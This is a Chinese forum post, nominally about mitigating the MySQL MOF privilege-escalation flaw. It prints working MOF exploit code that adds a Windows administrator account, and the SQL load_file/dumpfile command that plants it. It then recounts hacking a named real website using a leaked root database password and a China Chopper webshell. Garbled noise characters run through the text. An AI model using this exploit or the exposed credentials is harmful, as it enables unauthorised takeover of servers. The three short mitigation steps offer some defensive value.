Mysql mof扩展漏洞防范方法
3 ?+ P$ W# v3 a5 P, A/ |
& B. x/ _4 Y4 b/ K5 S网上公开的一些利用代码:
7 a; c4 Y* h! L& m' v) e4 w/ F, t% Q: R- Q7 U' Q( W# V0 u9 B/ ]
#pragma namespace(“\\\\.\\root\\subscription”) T7 ~1 ` O2 \4 `' o4 v0 J6 c
: B6 W# v& Y5 G9 \3 h+ h9 winstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
1 a5 }4 d) z: D9 J8 F7 ~- \7 F
! M, U6 a4 k" j3 A
# V; ~5 a( s+ i0 t
4 L) m D+ L& J
% j" b& T. ?3 |8 }& \2 A1 t5 E" t9 s& j& O6 p5 E( X/ x; N
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
2 ]2 d# F3 T! Q' h! x/ ]$ @- ^从上面代码来看得出解决办法:
0 a' i+ |1 {' A. [6 {; N c9 [) F, i& ~( f) y! } a
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
* U' ^& F y% K I# {2 U3 C
. o& A o W& H8 S( V2、禁止使用”WScript.Shel”组件( J# n a* I# J5 `9 f
! ?: i! d& S. h: ~ o3 g! U3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
& G! X" e: m8 W( |9 M
) T) h( f: m" u) T, O当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
9 e* v a: b. P0 t- T) k$ H+ d& M* p- F- F
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
8 c# P. Q. u* _/ h; T0 |( D) b8 k0 p: M
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
2 o! B: @( ~5 k* `7 I2 m- T) B& {1 T1 l: v# ^$ S
看懂了后就开始练手吧
+ Z( H0 o4 y/ C; F/ S. Q0 e9 c& o. r0 X9 W
http://www.webbmw.com/config/config_ucenter.php 一句话 a
- c+ Z" Z- K: G+ ]$ u) h1 E3 }. O+ {& h
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。3 W; _2 _ X! T
* Y7 l1 O: z2 \7 H$ w于是直接用菜刀开搞% |" O6 {! f+ t9 x4 v& _4 d c
# T6 O9 u7 M7 \( J" E) J. F上马先' R) [) N% Y# P+ {# ?2 Y$ _5 f k0 y1 G
% Z/ X1 c8 H8 D
既然有了那些账号 之类的 于是我们就执行吧…….; e i+ W: P. y5 I) o
. `+ T# C8 p/ O. c3 ^5 N小小的说下! \1 k# ?& j [; E9 d1 F) p' J
& m& e& I( L( e: l6 }: u7 X在这里第1次执行未成功 原因未知
" X, L& e; c6 o6 D; [, Q% i: z) Q7 t7 [/ e+ D2 r+ }6 M: M* v
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。$ r; D2 R0 q; s* n+ Z
0 b( u1 `% V4 G( N
#pragma namespace(“\\\\.\\root\\subscription”)
+ I( T) Q" O9 U$ N% F- I$ d& G; |" o/ x) D) Z
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
) n# G8 g9 n* m% y! k0 N/ ?% y
9 R+ Z, e) w/ X3 Z我是将文件放到C:\WINDOWS\temp\1.mof
' F/ B* L8 z0 J8 e* y; w
/ p- B/ L5 r5 g所以我们就改下执行的代码, ^5 s8 i' q; F! S6 u J0 g9 d; O
1 t6 i$ y: |* {! S# X: yselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
5 ]( {+ T' y& [$ c1 ^2 K, \
e) C6 D5 i& o' q: L8 ]1 [/ H* o
" X# O( S6 ~# m) [' J- c6 M' Z* q
但是 你会发现账号还是没有躺在那里。。4 V' h, |) |8 W% ~1 K
/ a4 V0 m/ @3 u3 c1 z
于是我就感觉蛋疼& T0 y. T9 ?3 E$ p7 v+ b1 L1 w5 }
; ^5 \4 O5 F8 n% R就去一个一个去执行 但是执行到第2个 mysql时就成功了………
. r Q0 S$ D7 w6 U' `' ^" |9 j' d3 ~6 [/ X$ b% h
+ J, r( }( W( q4 G9 G0 y N: f2 ^8 R0 a; V# b! O/ E" a3 R
但是其他库均不成功…
( \ _2 ^+ q3 E4 E+ R/ z
' g* R2 z5 X8 [" y/ [7 N我就很费解呀 到底为什么不成功求大牛解答…
' C P+ z+ c1 h) o+ b( P0 S, q( Z6 U/ @/ W$ F% _
' k: I' C0 ?: X) G4 j w( M$ V; I7 M1 T; \
|